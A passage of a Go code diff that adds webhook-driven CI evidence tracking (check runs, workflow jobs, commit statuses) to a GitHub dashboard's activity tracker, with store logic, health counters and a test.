t.Cleanup(github.ResetCIEvidenceForTest(func() time.Time { return now })) + s := newGitHubWebhookTestServer(t) + + // A prior listing exists for the head, so the delivery needs no re-read. + appID := int64(15368) + started := now.Add(-2 * time.Minute) + listedAt := now.Add(-time.Minute) + github.RecordCIListingForTest("webhookorg/webhookrepo", "abc123", &github.PRCIActivity{ + Head: "abc123", Source: "github-check-runs", ObservedAt: &listedAt, + Checks: []github.PRActivityCheck{{Name: "unit", State: "in_progress", NodeID: "CR_unit", AppID: &appID, Since: &started}}, + }) + + body := []byte(`{"action":"completed","repository":{"full_name":"webhookorg/webhookrepo"}, + "check_run":{"id":1,"node_id":"CR_unit","name":"unit","status":"completed","conclusion":"success","head_sha":"abc123", + "started_at":"2026-10-17T08:58:00Z","completed_at":"2026-10-17T08:59:30Z","app":{"id":15368,"name":"GitHub Actions"}, + "pull_requests":[{"number":5}]}}`) + rec := postGitHubWebhook(s, "check_run", signGitHubWebhookForTest(secret, body), body) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d (%s)", rec.Code, rec.Body.String()) + } + var got struct { + Status string `json:"status"` + TrackerRefresh *int `json:"tracker_refresh"` + CIEvidence *struct { + HeadSHA string `json:"head_sha"` + Applied int `json:"applied"` + Refetch bool `json:"refetch"` + PRs []int `json:"prs"` + } `json:"ci_evidence"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &got); err != nil { + t.Fatal(err) + } + if got.Status != "ok" || got.CIEvidence == nil || got.CIEvidence.Applied != 1 || got.CIEvidence.Refetch || got.CIEvidence.HeadSHA != "abc123" || len(got.CIEvidence.PRs) != 1 || got.CIEvidence.PRs[0] != 5 { + t.Fatalf("response = %s, want ci_evidence applied 1 on abc123 for PR 5 with no refetch", rec.Body.String()) + } + if got.TrackerRefresh != nil { + t.Fatalf("payload-served check delivery must not queue a PR re-read: %s", rec.Body.String()) + } + completed := now.Add(-30 * time.Second) + merged := github.HeadCIActivity("webhookorg/webhookrepo", "abc123", nil) + if merged == nil || len(merged.Checks) != 1 || merged.Checks[0].Conclusion != "success" || merged.Checks[0].Since == nil || !merged.Checks[0].Since.Equal(completed) { + t.Fatalf("head evidence = %+v, want the completed unit run", merged) + } + pr := github.PullRequest{Number: 5, HeadSHA: "abc123"} + if ci := stageTrackerCIActivity(github.PullRequest{Number: 5, HeadSHA: "abc123", CIActivity: merged}, now); ci.ChecksTotal != 1 || ci.ChecksPassed != 1 { + t.Fatalf("tracker counts for %d = %+v, want 1/1", pr.Number, ci) + } + + s.statusMu.Lock() + s.status = &StatusPayload{HiveID: "webhook-test"} + s.statusMu.Unlock() + statusRec := httptest.NewRecorder() + s.handleStatus(statusRec, httptest.NewRequest(http.MethodGet, "/api/status?fields=webhooks", bytes.NewReader(nil))) + var status struct { + Webhooks struct { + LastCIEventAt *time.Time `json:"last_ci_event_at"` + CIEvents1h int `json:"ci_events_1h"` + CIEventsApplied1h int `json:"ci_events_applied_1h"` + CIRefetches1h int `json:"ci_refetches_1h"` + } `json:"webhooks"` + } + if err := json.Unmarshal(statusRec.Body.Bytes(), &status); err != nil { + t.Fatal(err) + } + w := status.Webhooks + if w.LastCIEventAt == nil || !w.LastCIEventAt.Equal(now) || w.CIEvents1h != 1 || w.CIEventsApplied1h != 1 || w.CIRefetches1h != 0 { + t.Fatalf("/api/status webhooks CI health = %+v, want one event applied at %s", w, now) + } +} diff --git a/src/pkg/dashboard/webhook_tracker_refresh.go b/src/pkg/dashboard/webhook_tracker_refresh.go index f8dcced9df..c7a6e4db62 100644 --- a/src/pkg/dashboard/webhook_tracker_refresh.go +++ b/src/pkg/dashboard/webhook_tracker_refresh.go @@ -252,6 +252,13 @@ func (s *Server) scheduleWebhookTrackerRefresh(res github.WebhookEventResult, de if !s.webhookTrackerRefreshEnabled() { return 0 } + if res.CIEvidence != nil && res.CIEvidence.Applied > 0 { + // The payload itself moved the row's CI evidence + // (hivecommons/hive#16521); the PR object did not change, so the + // re-read would only spend a request to confirm labels and title. + s.invalidateStageTrackerForWebhook() + return 0 + } keys := webhookTrackerKeys(res) if len(keys) == 0 { return 0 @@ -261,6 +268,17 @@ func (s *Server) scheduleWebhookTrackerRefresh(res github.WebhookEventResult, de return len(keys) } +// RefreshCIEvidence is the github.CIEvidenceHook: a check delivery or a +// coalesced check-run re-read changed the CI evidence for repo's head, so +// the tracker payload is dropped and the page nudged over SSE; the next GET +// re-derives the row's counts from the merged evidence. +func (s *Server) RefreshCIEvidence(repo, head string) { + if s == nil { + return + } + s.invalidateStageTrackerForWebhook() +} + // selfEditDeliveryID tags the re-reads the hive's own GitHub edits ask for, // in place of a webhook delivery id, in ItemPatches and the logs. const selfEditDeliveryID = "self:edit" @@ -804,6 +822,9 @@ func patchWorkPRAny(raw any, snap github.WebhookItemSnapshot) (any, bool) { w.Title = snap.Title w.Labels = append([]string(nil), snap.Labels...) w.Draft = snap.Draft + if snap.HeadSHA != "" { + w.HeadSHA = snap.HeadSHA + } if !snap.UpdatedAt.IsZero() { w.UpdatedAt = snap.UpdatedAt } diff --git a/src/pkg/github/ci_failure_signal_test.go b/src/pkg/github/ci_failure_signal_test.go index 9e5de4a4a8..5488a0ea63 100644 --- a/src/pkg/github/ci_failure_signal_test.go +++ b/src/pkg/github/ci_failure_signal_test.go @@ -74,14 +74,7 @@ func TestWebhookCIFailure_EventsAndConclusions(t *testing.T) { } } -type checkRunPayload = struct { - HeadSHA string `json:"head_sha"` - Name string `json:"name"` - Conclusion string `json:"conclusion"` - DetailsURL string `json:"details_url"` - HTMLURL string `json:"html_url"` - PullRequests []webhookPRRef `json:"pull_requests"` -} +type checkRunPayload = webhookCheckRunPayload type checkSuitePayload = struct { HeadSHA string `json:"head_sha"` diff --git a/src/pkg/github/client.go b/src/pkg/github/client.go index 92823f7cbf..4c67ca69c8 100644 --- a/src/pkg/github/client.go +++ b/src/pkg/github/client.go @@ -64,6 +64,10 @@ type Client struct { graphQLPRBatchEnabled func() bool graphQLPRBatchPageSize func() int prBatchMu sync.Mutex + // ciRefetch coalesces the check-run re-reads CI webhook deliveries ask + // for on heads no listing has covered (webhook_ci_evidence.go). + ciRefetchOnce sync.Once + ciRefetch *ciRefetcher prBatchCheckRuns map[prBatchCheckRunKey][]*gh.CheckRun prBatchCheckObservedAt map[prBatchCheckRunKey]time.Time prBatchReviews map[string]map[int]prReviewState @@ -2560,6 +2564,11 @@ func (c *Client) EnrichCIStatus(ctx context.Context, prs []PullRequest) { prs[i].SharedCIIncident = c.openSharedCIIncident(ctx, &prs[i], incidents) } facts.attach(ctx, &prs[i], reported) + // The listing is the head's complete observation; checks delivered + // by webhook since then are laid over it (hivecommons/hive#16521). + owner, name := c.splitRepo(prs[i].Repo) + sharedCIEvidence().recordListed(owner+"/"+name, prs[i].HeadSHA, prs[i].CIActivity) + prs[i].CIActivity = sharedCIEvidence().merged(owner+"/"+name, prs[i].HeadSHA, prs[i].CIActivity) } c.enrichBaseBranchRed(ctx, prs) } @@ -4843,6 +4852,10 @@ type RepoWorkPR struct { Reason string `json:"reason,omitempty"` // BaseRef is the target branch, retained for the covering-PR chip. BaseRef string `json:"base_ref,omitempty"` + // HeadSHA is the PR's head commit from the list payload, so the activity + // monitor can match webhook-delivered CI evidence to a sidelined row + // (hivecommons/hive#16521). + HeadSHA string `json:"head_sha,omitempty"` // LinkedIssues mirrors PullRequest.LinkedIssues so a sidelined PR can // still stand under the issue its `Fixes #N` names in the activity // monitor. Stamped by EnrichReviewSignalsAndWorkPRs, not by the @@ -4874,6 +4887,7 @@ func (c *Client) repoWorkPR(repo string, pr *gh.PullRequest, labels []string, hi UpdatedAt: pr.GetUpdatedAt().Time, URL: pr.GetHTMLURL(), BaseRef: prBaseRef(pr), + HeadSHA: prHeadSHA(pr), Bucket: bucket, Reason: reason, // The list payload carries the body, so the soft issue links cost diff --git a/src/pkg/github/protection_facts.go b/src/pkg/github/protection_facts.go index 6ad86958d0..d0689a36fd 100644 --- a/src/pkg/github/protection_facts.go +++ b/src/pkg/github/protection_facts.go @@ -166,6 +166,38 @@ func (pc *protectionCollector) attach(ctx context.Context, pr *PullRequest, repo pr.Protection = &f } +// attachRequiredChecks stamps the base branch's required-check policy onto +// pr.CIActivity exactly as attach does, plus the commit statuses an any-App +// or unreported required context needs, without the protection facts: it +// is the webhook CI re-read's half (webhook_ci_evidence.go), where no +// mergeability or review decision is being collected. +func (pc *protectionCollector) attachRequiredChecks(ctx context.Context, pr *PullRequest) { + if pc == nil || pc.c == nil || pr == nil || pr.CIActivity == nil || pr.BaseRef == "" { + return + } + req := pc.requiredChecks(ctx, pr.Repo, pr.BaseRef) + a := pr.CIActivity + a.setRequired(req.set, req.known) + a.RequiredChecks = req.bindings + a.RequiredSource = req.source + a.RequiredKnown = req.known && req.source != "config" && observedRequiredBindings(req.set, req.bindings) + if !req.known { + return + } + needsStatuses := a.NeedsCommitStatusEvidence() + for name := range req.set { + if len(a.ChecksForRequired(name)) == 0 { + needsStatuses = true + } + } + if !needsStatuses { + return + } + if collected, known := pc.c.commitStatuses(ctx, pr.Repo, pr.HeadSHA); known { + a.addCommitStatuses(collected, time.Now().UTC()) + } +} + // commitStatuses retains state and identity, not just context presence. // A failed, incomplete or explicitly wrong-head listing is unknown. func (c *Client) commitStatuses(ctx context.Context, repo, sha string) ([]*gh.RepoStatus, bool) { diff --git a/src/pkg/github/webhook_cache.go b/src/pkg/github/webhook_cache.go index dd9f29d45e..0dc3ae0eff 100644 --- a/src/pkg/github/webhook_cache.go +++ b/src/pkg/github/webhook_cache.go @@ -31,6 +31,17 @@ type WebhookHealth struct { // deliveries and refreshes caused. TargetedRefreshes1h int `json:"targeted_refreshes_1h"` TrackerInvalidations1h int `json:"tracker_invalidations_1h"` + // CI deliveries (check_run, check_suite, status, workflow_run, + // workflow_job) for managed repositories (hivecommons/hive#16521): + // when the last one arrived, how many in the window, how many check + // observations they applied to a head's set without a GitHub call, and + // how many coalesced check-run re-reads they caused. A nil + // LastCIEventAt with webhooks otherwise healthy means the App or the + // relay does not deliver check events. + LastCIEventAt *time.Time `json:"last_ci_event_at"` + CIEvents1h int `json:"ci_events_1h"` + CIEventsApplied1h int `json:"ci_events_applied_1h"` + CIRefetches1h int `json:"ci_refetches_1h"` // WebhookModeStatus is the reconcile cadence the health drives: // `mode` webhook|polling and `since` (hivecommons/hive#13381). WebhookModeStatus @@ -79,6 +90,10 @@ type WebhookEventResult struct { // reported a failed check (failure / timed_out / error) on a head SHA, // with the open PRs that head resolved to. CIFailure *WebhookCIFailure `json:"ci_failure,omitempty"` + // CIEvidence reports what a check_run / check_suite / status / + // workflow_run / workflow_job delivery did to the head's check set + // (hivecommons/hive#16521). + CIEvidence *WebhookCIEvidence `json:"ci_evidence,omitempty"` } // WebhookItemHint is the state a webhook payload reports for the item it @@ -112,6 +127,10 @@ type webhookTracker struct { invalidations []time.Time refreshes []time.Time trackerDrops []time.Time + ciEvents []time.Time + ciApplied []time.Time + ciRefetches []time.Time + lastCIEvent time.Time wasHealthy bool // lastActivity is the newest GitHub `updated_at` a poll listed and // lastFailure the newest delivery that failed verification; both feed @@ -213,6 +232,18 @@ func RecordWebhookTrackerInvalidations(n int) { t.recordStamped(&t.trackerDrops, n) } +func (t *webhookTracker) recordCIEvent() { + t.mu.Lock() + defer t.mu.Unlock() + now := t.now() + t.lastCIEvent = now + t.ciEvents = append(pruneWebhookTimes(t.ciEvents, now), now) +} + +func (t *webhookTracker) recordCIApplied(n int) { t.recordStamped(&t.ciApplied, n) } + +func (t *webhookTracker) recordCIRefetches(n int) { t.recordStamped(&t.ciRefetches, n) } + func (t *webhookTracker) recordStamped(dst *[]time.Time, n int) { if n <= 0 { return @@ -364,14 +395,22 @@ func (t *webhookTracker) snapshot() WebhookHealth { t.invalidations = pruneWebhookTimes(t.invalidations, now) t.refreshes = pruneWebhookTimes(t.refreshes, now) t.trackerDrops = pruneWebhookTimes(t.trackerDrops, now) + t.ciEvents = pruneWebhookTimes(t.ciEvents, now) + t.ciApplied = pruneWebhookTimes(t.ciApplied, now) + t.ciRefetches = pruneWebhookTimes(t.ciRefetches, now) healthy, latest := t.healthyLocked(now) out := WebhookHealth{Healthy: healthy, Events1h: len(t.events), Invalidations1h: len(t.invalidations), TargetedRefreshes1h: len(t.refreshes), TrackerInvalidations1h: len(t.trackerDrops), + CIEvents1h: len(t.ciEvents), CIEventsApplied1h: len(t.ciApplied), CIRefetches1h: len(t.ciRefetches), WebhookModeStatus: t.mode.status(t.window, now)} if !latest.IsZero() { at := latest.UTC() out.LastEventAt = &at } + if !t.lastCIEvent.IsZero() { + at := t.lastCIEvent.UTC() + out.LastCIEventAt = &at + } return out } @@ -425,6 +464,39 @@ type webhookPRRef struct { Number int `json:"number"` } +// webhookCheckRunPayload is the `check_run` object of a check_run delivery. +type webhookCheckRunPayload struct { + ID int64 `json:"id"` + NodeID string `json:"node_id"` + HeadSHA string `json:"head_sha"` + Name string `json:"name"` + Status string `json:"status"` + Conclusion string `json:"conclusion"` + DetailsURL string `json:"details_url"` + HTMLURL string `json:"html_url"` + StartedAt *time.Time `json:"started_at"` + CompletedAt *time.Time `json:"completed_at"` + PullRequests []webhookPRRef `json:"pull_requests"` + App *struct { + ID int64 `json:"id"` + Name string `json:"name"` + } `json:"app"` +} + +// webhookWorkflowJobPayload is the `workflow_job` object: one GitHub Actions +// job, which is its check run as the Actions App reports it. +type webhookWorkflowJobPayload struct { + ID int64 `json:"id"` + NodeID string `json:"node_id"` + HeadSHA string `json:"head_sha"` + Name string `json:"name"` + Status string `json:"status"` + Conclusion string `json:"conclusion"` + HTMLURL string `json:"html_url"` + StartedAt *time.Time `json:"started_at"` + CompletedAt *time.Time `json:"completed_at"` +} + type webhookEventPayload struct { Repository struct { FullName string `json:"full_name"` @@ -472,23 +544,23 @@ type webhookEventPayload struct { Name string `json:"name"` } `json:"app"` } `json:"check_suite"` - CheckRun *struct { - HeadSHA string `json:"head_sha"` - Name string `json:"name"` - Conclusion string `json:"conclusion"` - DetailsURL string `json:"details_url"` - HTMLURL string `json:"html_url"` - PullRequests []webhookPRRef `json:"pull_requests"` - } `json:"check_run"` + CheckRun *webhookCheckRunPayload `json:"check_run"` WorkflowRun *struct { HeadSHA string `json:"head_sha"` PullRequests []webhookPRRef `json:"pull_requests"` } `json:"workflow_run"` - SHA string `json:"sha"` - State string `json:"state"` - Context string `json:"context"` - TargetURL string `json:"target_url"` - Branches []struct { + // WorkflowJob is one GitHub Actions job: its check run, as the Actions + // App reports it, without the check_run envelope. + WorkflowJob *webhookWorkflowJobPayload `json:"workflow_job"` + ID int64 `json:"id"` + NodeID string `json:"node_id"` + SHA string `json:"sha"` + State string `json:"state"` + Context string `json:"context"` + TargetURL string `json:"target_url"` + CreatedAt *time.Time `json:"created_at"` + UpdatedAt *time.Time `json:"updated_at"` + Branches []struct { Name string `json:"name"` } `json:"branches"` Ref string `json:"ref"` @@ -579,6 +651,9 @@ func (c *Client) HandleWebhookEvent(event string, payload []byte) (WebhookEventR sharedCIReportingCache.invalidate(p.Repository.FullName, res.HeadSHA) } numbers := webhookInvalidationTargets(event, p, aliases) + if IsWebhookCIEvent(event) && res.HeadSHA != "" { + numbers = sharedCIEvidence().resolvePRs(p.Repository.FullName, res.HeadSHA, numbers) + } // Capture the failed-check identity and the PRs it resolved to BEFORE // invalidation drops their cache entries: the receiver reacts to a red // check on the event rather than on the next sweep. @@ -588,6 +663,7 @@ func (c *Client) HandleWebhookEvent(event string, payload []byte) (WebhookEventR } sharedWebhookTracker().recordInvalidations(len(numbers)) res.Invalidated = numbers + res.CIEvidence = c.applyWebhookCIEvidence(event, p, configured, numbers) return res, nil } @@ -732,6 +808,10 @@ func webhookHeadSHA(event string, p webhookEventPayload) string { if p.WorkflowRun != nil { return strings.TrimSpace(p.WorkflowRun.HeadSHA) } + case "workflow_job": + if p.WorkflowJob != nil { + return strings.TrimSpace(p.WorkflowJob.HeadSHA) + } } return "" } @@ -789,6 +869,10 @@ func webhookInvalidationTargets(event string, p webhookEventPayload, aliases []s addRefs(p.WorkflowRun.PullRequests) bySHA(p.WorkflowRun.HeadSHA) } + case "workflow_job": + if p.WorkflowJob != nil { + bySHA(p.WorkflowJob.HeadSHA) + } case "push": if ref, ok := strings.CutPrefix(p.Ref, "refs/heads/"); ok && ref != "" { addMatching(func(_, headRef, baseRef string) bool { return headRef == ref || baseRef == ref }) diff --git a/src/pkg/github/webhook_ci_evidence.go b/src/pkg/github/webhook_ci_evidence.go new file mode 100644 index 0000000000..57913dbb64 --- /dev/null +++ b/src/pkg/github/webhook_ci_evidence.go @@ -0,0 +1,732 @@ +package github + +import ( + "context" + "sort" + "strings" + "sync" + "sync/atomic" + "time" + + gh "github.com/google/go-github/v72/github" +) + +// Webhook-driven CI evidence (hivecommons/hive#16521). +// +// The Activity Monitor's CI chevron counts check runs on a PR's current head +// (PullRequest.CIActivity). Until now that evidence had one producer, the +// per-cycle check-run listing in EnrichCIStatus, so a row read "CI ?/?" +// from the moment a head was pushed until the next full cycle, and a +// sidelined PR never had any. A `check_run`, `workflow_job` or `status` +// delivery already names the head, the check and its result, so the payload +// is applied straight into a per-(repo, head) check set here. The tracker +// merges that set over whatever the last listing produced, and a head no +// listing has covered yet is re-read once, coalesced, so the required-check +// set behind the counts becomes known. The listing stays as the backstop +// for spokes without webhooks. + +// githubActionsAppID is the App id GitHub Actions reports on its check runs; +// a `workflow_job` payload carries no app object, but its check run is +// always this producer's. +const githubActionsAppID int64 = 15368 + +// ciEvidenceMaxHeads bounds the per-head store; the oldest-touched heads are +// evicted first. ciEvidenceTTL drops heads no delivery or listing has +// touched for that long (a merged PR's head, for one). +const ( + ciEvidenceMaxHeads = 4096 + ciEvidenceTTL = 48 * time.Hour +) + +// webhookCIEventTypes are the deliveries that carry CI evidence for a head. +var webhookCIEventTypes = map[string]bool{ + "check_run": true, + "check_suite": true, + "status": true, + "workflow_run": true, + "workflow_job": true, +} + +// IsWebhookCIEvent reports whether event is one of the check/status/workflow +// deliveries that drive CI evidence. +func IsWebhookCIEvent(event string) bool { return webhookCIEventTypes[event] } + +// WebhookCIEvidence reports what a CI delivery did to the per-head check set. +type WebhookCIEvidence struct { + HeadSHA string `json:"head_sha"` + // Applied is the number of check observations taken from the payload + // itself (check_run, workflow_job, status). A check_suite or + // workflow_run payload carries none. + Applied int `json:"applied"` + // Refetch is set when the head had no check-run listing yet (no + // required-check set to count against) and one coalesced re-read of + // the head's check runs was scheduled. + Refetch bool `json:"refetch,omitempty"` + // PRs are the open PR numbers the head resolved to. + PRs []int `json:"prs,omitempty"` +} + +type ciHeadKey struct { + repo string // canonical owner/name, lower-case + head string // lower-case SHA +} + +type ciHeadEvidence struct { + // prs are the open PR numbers deliveries resolved this head to. A + // check delivery invalidates the PR detail cache, so a later `status` + // or `workflow_job` payload (which names no PR) could not resolve the + // head by SHA without this memory. + prs map[int]bool + // listed is the last complete observation of the head (check-run + // listing plus required set and statuses), nil until one ran. + listed *PRCIActivity + // events holds the checks taken from deliveries, newest per identity. + events []PRActivityCheck + eventsAt time.Time + touched time.Time +} + +type ciEvidenceStore struct { + mu sync.Mutex + now func() time.Time + heads map[ciHeadKey]*ciHeadEvidence +} + +func newCIEvidenceStore() *ciEvidenceStore { + return &ciEvidenceStore{now: time.Now, heads: map[ciHeadKey]*ciHeadEvidence{}} +} + +var ciEvidencePtr = func() *atomic.Pointer[ciEvidenceStore] { + p := &atomic.Pointer[ciEvidenceStore]{} + p.Store(newCIEvidenceStore()) + return p +}() + +func sharedCIEvidence() *ciEvidenceStore { return ciEvidencePtr.Load() } + +// ResetCIEvidenceForTest swaps in an empty per-head CI evidence store with +// the given clock and returns a restore func. +func ResetCIEvidenceForTest(now func() time.Time) func() { + old := sharedCIEvidence() + s := newCIEvidenceStore() + if now != nil { + s.now = now + } + ciEvidencePtr.Store(s) + return func() { ciEvidencePtr.Store(old) } +} + +func ciEvidenceKey(repo, head string) ciHeadKey { + return ciHeadKey{repo: canonicalPRDetailRepo(repo), head: strings.ToLower(strings.TrimSpace(head))} +} + +// entryLocked returns the head's record, creating it when create is set. A +// bare repo name (no owner) matches the one stored full name ending in it. +func (s *ciEvidenceStore) entryLocked(key ciHeadKey, create bool) *ciHeadEvidence { + if e, ok := s.heads[key]; ok { + return e + } + if !strings.Contains(key.repo, "/") { + for k, e := range s.heads { + if k.head == key.head && strings.HasSuffix(k.repo, "/"+key.repo) { + return e + } + } + } + if !create { + return nil + } + e := &ciHeadEvidence{} + s.heads[key] = e + return e +} + +func (s *ciEvidenceStore) pruneLocked(now time.Time) { + for k, e := range s.heads { + if now.Sub(e.touched) >= ciEvidenceTTL { + delete(s.heads, k) + } + } + for len(s.heads) > ciEvidenceMaxHeads { + var oldestKey ciHeadKey + var oldest time.Time + first := true + for k, e := range s.heads { + if first || e.touched.Before(oldest) { + oldestKey, oldest, first = k, e.touched, false + } + } + delete(s.heads, oldestKey) + } +} + +// recordListed stores a complete observation of the head. Event checks +// older than the listing are dropped: the listing already reflects them. +func (s *ciEvidenceStore) recordListed(repo, head string, a *PRCIActivity) { + if a == nil || strings.TrimSpace(head) == "" || !strings.EqualFold(a.Head, head) { + return + } + s.mu.Lock() + defer s.mu.Unlock() + now := s.now() + e := s.entryLocked(ciEvidenceKey(repo, head), true) + e.listed = cloneCIActivity(a) + e.touched = now + if a.ObservedAt != nil && !e.eventsAt.After(*a.ObservedAt) { + e.events, e.eventsAt = nil, time.Time{} + } + s.pruneLocked(now) +} + +// hasListed reports whether a check-run listing has covered the head. +func (s *ciEvidenceStore) hasListed(repo, head string) bool { + s.mu.Lock() + defer s.mu.Unlock() + e := s.entryLocked(ciEvidenceKey(repo, head), false) + return e != nil && e.listed != nil +} + +// applyEvent upserts the checks a delivery reported for the head and +// returns how many it kept. +func (s *ciEvidenceStore) applyEvent(repo, head string, checks []PRActivityCheck) int { + if strings.TrimSpace(head) == "" || len(checks) == 0 { + return 0 + } + s.mu.Lock() + defer s.mu.Unlock() + now := s.now() + e := s.entryLocked(ciEvidenceKey(repo, head), true) + applied := 0 + for _, check := range checks { + if check.Name == "" { + continue + } + check.Head = head + e.events = upsertActivityCheck(e.events, check) + applied++ + } + if applied > 0 { + e.eventsAt = now + } + e.touched = now + s.pruneLocked(now) + return applied +} + +// resolvePRs remembers the PRs a CI delivery resolved the head to and +// returns them joined with the ones earlier deliveries remembered, sorted. +func (s *ciEvidenceStore) resolvePRs(repo, head string, numbers []int) []int { + if strings.TrimSpace(head) == "" { + return numbers + } + s.mu.Lock() + defer s.mu.Unlock() + now := s.now() + e := s.entryLocked(ciEvidenceKey(repo, head), true) + if e.prs == nil { + e.prs = map[int]bool{} + } + for _, n := range numbers { + if n > 0 { + e.prs[n] = true + } + } + e.touched = now + out := make([]int, 0, len(e.prs)) + for n := range e.prs { + out = append(out, n) + } + sort.Ints(out) + s.pruneLocked(now) + return out +} + +// touch keeps the head alive without evidence (check_suite, workflow_run). +func (s *ciEvidenceStore) touch(repo, head string) { + if strings.TrimSpace(head) == "" { + return + } + s.mu.Lock() + defer s.mu.Unlock() + now := s.now() + e := s.entryLocked(ciEvidenceKey(repo, head), true) + e.touched = now + s.pruneLocked(now) +} + +// merged returns the head's evidence: the newest listing (the store's or the +// caller's base, whichever observed later) with the delivered checks laid +// over it. Nil when neither exists. +func (s *ciEvidenceStore) merged(repo, head string, base *PRCIActivity) *PRCIActivity { + if strings.TrimSpace(head) == "" { + return base + } + if base != nil && !strings.EqualFold(base.Head, head) { + base = nil + } + s.mu.Lock() + e := s.entryLocked(ciEvidenceKey(repo, head), false) + var listed *PRCIActivity + var events []PRActivityCheck + var eventsAt time.Time + if e != nil { + listed = e.listed + events = append([]PRActivityCheck(nil), e.events...) + eventsAt = e.eventsAt + } + s.mu.Unlock() + if base != nil && (listed == nil || observedAfter(base.ObservedAt, listed.ObservedAt)) { + listed = base + } + if len(events) == 0 { + return listed + } + var out *PRCIActivity + if listed != nil { + out = cloneCIActivity(listed) + if out.ObservedAt != nil && !eventsAt.After(*out.ObservedAt) { + return out + } + } else { + out = &PRCIActivity{Head: head} + } + applied := 0 + for _, check := range events { + out.Checks = upsertActivityCheck(out.Checks, check) + applied++ + } + if applied > 0 { + at := eventsAt.UTC() + out.ObservedAt = &at + switch { + case out.Source == "": + out.Source = "github-webhook" + case !strings.Contains(out.Source, "github-webhook"): + out.Source += "+github-webhook" + } + sort.SliceStable(out.Checks, func(i, j int) bool { return out.Checks[i].Name < out.Checks[j].Name }) + } + return out +} + +func observedAfter(a, b *time.Time) bool { + if a == nil { + return false + } + if b == nil { + return true + } + return a.After(*b) +} + +// upsertActivityCheck places check into list the way GitHub's own "latest" +// listing would: the same run (node id) is updated in place, a newer run of +// the same check (kind, name, producing App) replaces the older one, an +// older observation than the one held is dropped, and anything else is +// appended. +func upsertActivityCheck(list []PRActivityCheck, check PRActivityCheck) []PRActivityCheck { + for i := range list { + if check.NodeID != "" && list[i].NodeID == check.NodeID { + if checkBefore(check, list[i]) { + return list + } + list[i] = check + return list + } + } + for i := range list { + if !sameCheckIdentity(list[i], check) { + continue + } + if checkBefore(check, list[i]) { + return list + } + list[i] = check + return list + } + return append(list, check) +} + +// checkBefore reports whether a is a strictly older observation than b; +// an observation without a time is never older. +func checkBefore(a, b PRActivityCheck) bool { + return a.Since != nil && b.Since != nil && a.Since.Before(*b.Since) +} + +// sameCheckIdentity matches two runs of one check by kind, name and +// producing App (an unknown App matches any). +func sameCheckIdentity(a, b PRActivityCheck) bool { + if a.Kind != b.Kind || a.Name != b.Name { + return false + } + if a.AppID == nil || b.AppID == nil { + return true + } + return *a.AppID == *b.AppID +} + +func cloneCIActivity(a *PRCIActivity) *PRCIActivity { + if a == nil { + return nil + } + out := *a + out.Required = append([]string(nil), a.Required...) + out.RequiredChecks = append([]PRRequiredCheck(nil), a.RequiredChecks...) + out.Checks = append([]PRActivityCheck(nil), a.Checks...) + return &out +} + +// HeadCIActivity is the tracker's read: the CI evidence for repo's head, +// combining the last listing (base, from the status snapshot, or the +// store's own) with every check delivered since. It returns base unchanged +// when no delivery has named the head. +func HeadCIActivity(repo, head string, base *PRCIActivity) *PRCIActivity { + return sharedCIEvidence().merged(repo, head, base) +} + +// webhookCIChecks extracts the check observations a CI delivery carries. +func webhookCIChecks(event string, p webhookEventPayload) []PRActivityCheck { + switch event { + case "check_run": + cr := p.CheckRun + if cr == nil || strings.TrimSpace(cr.Name) == "" { + return nil + } + check := PRActivityCheck{ + Name: strings.TrimSpace(cr.Name), State: cr.Status, Conclusion: cr.Conclusion, + URL: firstNonEmpty(cr.DetailsURL, cr.HTMLURL), ID: cr.ID, NodeID: cr.NodeID, Head: strings.TrimSpace(cr.HeadSHA), + } + if cr.App != nil && cr.App.ID > 0 { + id := cr.App.ID + check.AppID = &id + } + check.Since = checkSince(cr.Status, cr.StartedAt, cr.CompletedAt) + return []PRActivityCheck{check} + case "workflow_job": + job := p.WorkflowJob + if job == nil || strings.TrimSpace(job.Name) == "" { + return nil + } + id := githubActionsAppID + check := PRActivityCheck{ + Name: strings.TrimSpace(job.Name), State: job.Status, Conclusion: job.Conclusion, + URL: job.HTMLURL, ID: job.ID, NodeID: job.NodeID, AppID: &id, Head: strings.TrimSpace(job.HeadSHA), + } + check.Since = checkSince(job.Status, job.StartedAt, job.CompletedAt) + return []PRActivityCheck{check} + case "status": + if strings.TrimSpace(p.Context) == "" { + return nil + } + check := PRActivityCheck{ + Name: strings.TrimSpace(p.Context), State: "completed", URL: p.TargetURL, + ID: p.ID, NodeID: p.NodeID, Head: strings.TrimSpace(p.SHA), Kind: "commit_status", + } + switch p.State { + case "success": + check.Conclusion = "success" + case "failure", "error": + check.Conclusion = "failure" + case "pending": + check.State = "pending" + default: + check.State = "unknown" + } + if at := firstTime(p.UpdatedAt, p.CreatedAt); at != nil { + check.Since = at + } + return []PRActivityCheck{check} + } + return nil +} + +func checkSince(status string, started, completed *time.Time) *time.Time { + if status == "completed" && completed != nil && !completed.IsZero() { + t := completed.UTC() + return &t + } + if started != nil && !started.IsZero() { + t := started.UTC() + return &t + } + return nil +} + +func firstTime(ts ...*time.Time) *time.Time { + for _, t := range ts { + if t != nil && !t.IsZero() { + u := t.UTC() + return &u + } + } + return nil +} + +// applyWebhookCIEvidence is HandleWebhookEvent's CI step: it applies the +// payload's checks to the head's set and, when no listing has covered the +// head, schedules one coalesced re-read of its check runs. numbers are the +// open PRs the delivery resolved to; the first one's base branch names the +// required-check policy the re-read resolves. +func (c *Client) applyWebhookCIEvidence(event string, p webhookEventPayload, configured string, numbers []int) *WebhookCIEvidence { + if !IsWebhookCIEvent(event) { + return nil + } + head := webhookHeadSHA(event, p) + if head == "" && p.WorkflowJob != nil { + head = strings.TrimSpace(p.WorkflowJob.HeadSHA) + } + if head == "" { + return nil + } + repo := p.Repository.FullName + sharedWebhookTracker().recordCIEvent() + out := &WebhookCIEvidence{HeadSHA: head, PRs: append([]int(nil), numbers...)} + store := sharedCIEvidence() + checks := webhookCIChecks(event, p) + if len(checks) > 0 { + out.Applied = store.applyEvent(repo, head, checks) + sharedWebhookTracker().recordCIApplied(out.Applied) + } else { + store.touch(repo, head) + } + if len(numbers) > 0 && !store.hasListed(repo, head) { + target := ciRefetchTarget{repo: configured, fullName: repo, head: head, number: numbers[0]} + for _, alias := range webhookRepoAliases(configured, repo) { + if pr, _, ok := sharedPRDetailCache.peek(alias, numbers[0]); ok { + target.baseRef = pr.GetBase().GetRef() + break + } + } + out.Refetch = c.ciRefetcher().enqueue(target) + } + if hook := ciEvidenceHook(); hook != nil && (out.Applied > 0) { + hook(repo, head) + } + return out +} + +// CIEvidenceHook is told when a head's CI evidence changed (a delivery was +// applied 